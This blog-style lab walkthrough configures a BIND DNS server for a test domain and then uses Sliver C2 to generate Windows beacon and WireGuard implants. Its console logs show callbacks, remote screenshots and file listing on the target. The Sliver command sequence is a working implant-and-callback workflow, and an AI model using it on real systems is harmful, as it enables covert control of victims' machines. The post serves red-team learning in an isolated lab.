This post will be on using mtls
and wireguard
along with beacon
and session
on Sliver
.
Introduction
There are four main protocols that are used by Sliver
:
- mTLS
- WireGuard
- HTTP
- DNS
mTLS
and WireGuard
works perfectly fine and we can expect good performance stable connection from them. However, when it comes to more well-secured networks, mTLS
and WireGuard
connection might be blocked.
In such restricted environments, we can sue HTTP
and DNS
, we will further discuss later on.
DNS Server
In this post, we will make use of DNS Server
.
This way, we can use DNS names instead of IP addresses for C2 endpoints. Now it doesnāt mean a lot, but we are trying to make this lab environment as realistic as possible.
On later posts, we will have lab set-up where target can only communicate to the C2 server through a 3rd server, not directly. We can learn more on using DNS server as this 3rd Server on later posts.
Diagram
There are going to three VMs.
- DNS Server
- C2 Server
- Windows Target Machine
DNS Server will resolve sliver.carabiner.local
to the C2 Server IP, target.carabiner.local
to the target IP.
It will also forward other queries to the public DNS servers.
We are basically configuring the target VM to use this DNS service so that we will be able to specify sliver.carabiner.local
as a C2 endpoint.
Not very realistic, but only for the Lab environment wise.
In real world, we will actually be purchasing a domain so that we can use it as the DNS server.
+-------------------+ +-------------------+
| | Resolve DNS | |
| DNS Server VM +--- UDP 53 <------------------+ Target VM |
| (Linux) | | (Windows) |
| | | |
| 172.16.76.129 | +-------------+ 172.16.76.132 |
| | | | |
+-------------------+ | +----+---------+----+
| | |
Download implant binary | | |
TCP 80 | | |
+---------------------+ | |
| | |
v | |
+------------+ | |
| | mTLS C2 Connection (TCP 8888)| |
| C2 Server +<-------------------------------+ |
| (Linux) | |
| | WireGuard C2 Connection (UDP 53) <-----+
| 172.16.76.128 |
+----------------+ |
|
v
DNS Server Prep
There are many ways to set up a DNS server but here we will use the named/BIND.
BINDĀ (/ĖbaÉŖnd/) is a suite of software for interacting with theĀ Domain Name SystemĀ (DNS). Its most prominent component,Ā namedĀ (pronouncedĀ name-dee:Ā /ĖneÉŖmdiĖ/, short forĀ nameĀ daemon), performs both of the main DNS server roles, acting as anĀ authoritative name serverĀ forĀ DNS zonesĀ and as a recursiveĀ resolverĀ in the network.
For the OS, we will use Debian.
After installing Debian VM, run the following command to install all required software:
apt-get install bind9 bind9utils bind9-doc
We can find configuration files for the BIND in /etc/bind
:
root@dns-server:/etc/bind# ls
bind.keys db.255 named.conf named.conf.options
db.0 db.empty named.conf.default-zones rndc.key
db.127 db.local named.conf.local zones.rfc1918
What we need to change is the content of /etc/bind/named.conf.options
. This file controls how our DNS server behaves.
Content should look somewhat similar to below:
acl "localnet" {
172.16.76.0/24;
};
options {
directory "/var/cache/bind";
recursion yes; # resursive queries
allow-recursion { localnet; }; # recursive queries
listen-on { 172.16.76.129; }; # IP address of the DNS server
allow-transfer { none; }; # disable zone transfers
forwarders {
8.8.8.8;
8.8.4.4;
};
dnssec-validation auto;
listen-on-v6 { any; };
};
logging {
channel query {
file "/var/log/bind/query" versions 5 size 10M;
print-time yes;
severity info;
};
category queries { query; };
};
Letās break down what we have.
acl "localnet" {
172.16.76.0/24;
};
-
This defines a group called
"localnet"
. -
172.16.76.0/24
refers to your local subnet (anything in172.16.76.x
). -
Youāll use this to allow or restrict certain actions only for local machines.
options {
directory "/var/cache/bind";
This is the main configuration block for the DNS serverās behavior.
- This is where BIND stores cached DNS answers.
recursion yes;
allow-recursion { localnet; };
-
recursion yes
: allows the DNS server to perform recursive queries (i.e., if it doesnāt know the answer, it asks other DNS servers). -
allow-recursion { localnet; };
: only allow recursive queries from machines on your local network (172.16.76.0/24
).
listen-on { 172.16.76.129; };
- This tells BIND to only listen for DNS requests on this specific IP (which is your DNS serverās IP).
allow-transfer { none; };
- Prevents zone transfers, which are used for DNS replication between servers. You donāt want this unless youāre running secondary DNS servers.
forwarders {
8.8.8.8;
8.8.4.4;
};
- If your DNS server doesnāt know the answer, it forwards the query to Googleās public DNS servers.
dnssec-validation auto;
- Enables DNSSEC (DNS Security Extensions), which helps ensure DNS responses havenāt been tampered with.
listen-on-v6 { any; };
- This means the DNS server will listen on all available IPv6 interfaces.
logging {
channel query {
file "/var/log/bind/query" versions 5 size 10M;
print-time yes;
severity info;
};
category queries { query; };
};
This sets up logging for DNS queries:
-
Logs go to
/var/log/bind/query
-
Keeps 5 rotated files, each up to 10MB
-
Includes timestamps
-
Only logs query-related events
This is super helpful for debugging and seeing if your DNS server is working.
Letās manually create a directory so that the log file can be created inside of it:
root@dns-server:/etc/bind# mkdir -p /var/log/bind
root@dns-server:/etc/bind# chown bind /var/log/bind
Now, whitelist the directory inĀ /etc/apparmor.d/usr.sbin.named
Ā by adding the following two lines anywhere in the list:
profile named /usr/sbin/named flags=(attach_disconnected) {
...
/var/log/bind/** rw,
/var/log/bind/ rw,
...
}
Summary
-
Allows only the local subnet (
172.16.76.0/24
) to use DNS recursion -
Forwards unknown queries to Google DNS
-
Listens on a specific IP only (your DNS server)
-
Logs DNS queries
-
Enhances security with DNSSEC and disables zone transfers
Now that we have apparmor
set up, letās run the command systemctl restart apparmor
so that the changes take effect.
Zone Directory Set-up
Letās create a directory to store zone files using the command mkdir -p /etc/bind/zones
. After running the command, Specify the forward and reverse zones for the lab network inĀ /etc/bind/named.conf.local
Ā like this:
zone "carabiner.local" {
type master;
file "/etc/bind/zones/db.carabiner.local"; # zone file path
};
zone "76.16.172.in-addr.arpa" {
type master;
file "/etc/bind/zones/db.76.16.172"; # 172.16.76.0/24
};
We are configuring BIND
, the DNS server and to serve our custom lab domain carabiner.local
, and handle reverse DNS lookups (i.e, IP ā Domain) for our internal network.
Letās break down named.conf.local
file. We are adding two zone declarations:
zone "carabiner.local" {
type master;
file "/etc/bind/zones/db.carabiner.local"; # zone file path
};
-
Zone:
carabiner.local
- This is your internal lab domain (like
sliver.carabiner.local
,target.carabiner.local
).
- This is your internal lab domain (like
-
Type:
master
- This DNS server is the authoritative source for that domain.
-
File:
/etc/bind/zones/db.carabiner.local
- This file will contain A records (like
target.carabiner.local
ā192.168.122.160
)
- This file will contain A records (like
zone "76.16.172.in-addr.arpa" {
type master;
file "/etc/bind/zones/db.76.16.172";
};
-
Zone:
172.16.76.in-addr.arpa
-
This is the reverse zone for the IP range
172.16.76.0/24
-
It handles PTR records (like
172.16.76.128
ātarget.carabiner.local
)
-
-
File:
/etc/bind/zones/db.76.16.172
- This is where youāll define the reverse mapping entries.
On to the forward zone specification, which goes intoĀ /etc/bind/zones/db.carabiner.local
:
$TTL 604800
@ IN SOA ns.carabiner.local. admin.carabiner.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers - NS records
IN NS ns.carabiner.local.
; name servers - A records
ns.carabiner.local. IN A 172.16.76.129
; 172.16.76.0/24 - A records
target.carabiner.local. IN A 172.16.76.132
sliver.carabiner.local. IN A 172.16.76.128
Just to have a really professional DNS setup, I also added support for reverse lookups. This is my content ofĀ /etc/bind/zones/db.76.16.172
Ā :
$TTL 604800
@ IN SOA ns.carabiner.local. admin.carabiner.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
IN NS ns.carabiner.local.
; PTR Records
129 IN PTR ns.carabiner.local. ; 172.16.76.129
128 IN PTR sliver.carabiner.local. ; 172.16.76.128
132 IN PTR target.carabiner.local. ; 172.16.76.132
Now check all config files for errors with the following commands:
- runĀ
named-checkconf
Ā to check the options: no output means no errors - runĀ
named-checkzone labnet.local /etc/bind/zones/db.carabiner.local
Ā and look forĀOK
- runĀ
named-checkzone 76.16.172.in-addr.arpa /etc/bind/zones/db.76.16.172
and look forĀ OK
Results for the above commands should look something like this:
root@dns-server:/etc/bind/zones# named-checkconf
root@dns-server:/etc/bind/zones# named-checkzone carabiner.local /etc/bind/zones/db.carabiner.local
zone carabiner.local/IN: loaded serial 4
OK
root@dns-server:~# named-checkzone 76.16.172.in-addr.arpa /etc/bind/zones/db.76.16.172
zone 76.16.172.in-addr.arpa/IN: loaded serial 4
OK
If everything is working correctly, restart bind with the command systemctl restart bind9
.
Verification
Now letās verify that the DNS resolution is working correctly.
Go to our Sliver C2 Server and use the dig
command to verify:
āāā(carabiner1ćæcarabiner)-[~]
āā$ dig +short @172.16.76.129 target.carabiner.local
172.16.76.132
Below command will check whether reverse zone if working properly:
dig +short @172.16.76.129 -x 172.16.76.128
DNS Configuration on Target
Now we have the new DNS server set up properly. Letās configure the target Windows machine to use the DNS server.
Right-click the network tray icon in the lower right and change the adapterās settings so that it uses our new DNS server:
By going to sliver.carabiner.local
, we can now see that this DNS server is working.
More on mTLS Transport
sliver > generate beacon --os windows --arch amd64 --format exe --seconds 5 --save /tmp/implant-domain-ip.exe --mtls sliver.carabiner.local,172.16.76.128
[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 25s
[*] Implant saved to /tmp/implant-domain-ip.exe
sliver > jobs
[*] No active jobs
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #2
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== ===============
2 mtls tcp 8888
āāā(carabiner1ćæcarabiner)-[/var/www/html]
āā$ ls -l *exe
-rwx------ 1 www-data www-data 15833088 May 25 20:51 COLD_INCIDENT.exe
-rwx------ 1 www-data www-data 15847936 May 25 22:53 TRADITIONAL_GIFT.exe
-rwx------ 1 carabiner1 carabiner1 15813632 May 28 07:20 implant-domain-ip.exe
sudo chown www-data:www-data /var/www/html/implant-domain-ip.exe
sliver > mtls
[*] Starting mTLS listener ...
[!] rpc error: code = Unknown desc = listen tcp :8888: bind: address already in use
[*] Beacon d5968297 SICK_CRECHE - 172.16.76.132:59583 (DESKTOP-R6MQCK6) - windows/amd64 - Wed, 28 May 2025 08:31:55 EDT
udp.stream eq 60
tls.handshake.extensions_server_name
tcp.port == 8888
sliver > use
? Select a session or beacon: BEACON d2736554 SICK_CRECHE 172.16.76.132:59647 DESKTOP-R6MQCK6 DESKTOP-R6MQCK6\win10 windows/amd64
[*] Active beacon SICK_CRECHE (d2736554-1c9b-42a8-8e0b-8cd1e441f2dc)
sliver (SICK_CRECHE) > screenshot
[*] Tasked beacon SICK_CRECHE (39aaa63e)
sliver (SICK_CRECHE) > tasks
ID State Message Type Created Sent Completed
========== ========= ============== =============================== ====== ===========
39aaa63e pending Screenshot Wed, 28 May 2025 08:50:54 EDT
sliver (SICK_CRECHE) > tasks
ID State Message Type Created Sent Completed
========== ========= ============== =============================== ====== ===========
39aaa63e pending Screenshot Wed, 28 May 2025 08:50:54 EDT
sliver (SICK_CRECHE) > tasks
ID State Message Type Created Sent Completed
========== ========= ============== =============================== ====== ===========
39aaa63e pending Screenshot Wed, 28 May 2025 08:50:54 EDT
[+] SICK_CRECHE completed task 39aaa63e
[*] Screenshot written to /tmp/screenshot_DESKTOP-R6MQCK6_20250528085105_266791135.png (110.7 KiB)
WireGuard
sliver > generate --os windows --arch amd64 --format exe --save /tmp/implant-wireguard.exe --wg sliver.carabiner.local,172.16.76.128
[*] Generated unique ip for wg peer tun interface: 100.64.0.2
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 30s
[*] Implant saved to /tmp/implant-wireguard.exe
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== ===============
3 mtls tcp 8888
sliver > jobs --kill 3
[*] Killing job #3 ...
[*] Successfully killed job #3
[!] Job #3 stopped (tcp/mtls)
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #4
sliver > wg
[*] Starting Wireguard listener ...
[*] Successfully started job #5
[*] Session 317d6dda TRAGIC_BLOUSE - 100.64.0.3:31662 (DESKTOP-R6MQCK6) - windows/amd64 - Wed, 28 May 2025 09:19:52 EDT
sliver > use
? Select a session or beacon: SESSION 317d6dda TRAGIC_BLOUSE 100.64.0.3:31662 DESKTOP-R6MQCK6 DESKTOP-R6MQCK6\win10 windows/amd64
[*] Active session TRAGIC_BLOUSE (317d6dda-fe3e-4135-b81e-be7066a8e6db)
sliver (TRAGIC_BLOUSE) > ls
C:\Users\win10\Downloads (6 items, 147.3 MiB)
=============================================
-rw-rw-rw- COLD_INCIDENT.exe 15.1 MiB Mon May 26 09:57:53 +0900 2025
-rw-rw-rw- desktop.ini 282 B Mon May 26 00:16:50 +0900 2025
-rw-rw-rw- implant-domain-ip.exe 15.1 MiB Wed May 28 21:31:48 +0900 2025
-rw-rw-rw- implant-wireguard.exe 18.8 MiB Wed May 28 22:13:25 +0900 2025
-rw-rw-rw- TRADITIONAL_GIFT.exe 15.1 MiB Mon May 26 11:55:42 +0900 2025
-rw-rw-rw- Wireshark-4.4.6-x64.exe 83.3 MiB Wed May 28 20:23:54 +0900 2025
sliver (TRAGIC_BLOUSE) > screenshot
[*] Screenshot written to /tmp/screenshot_DESKTOP-R6MQCK6_20250528092024_3007256778.png (107.9 KiB)
[*] Session 4271778f TRAGIC_BLOUSE - 100.64.0.5:58265 (DESKTOP-R6MQCK6) - windows/amd64 - Wed, 28 May 2025 09:20:38 EDT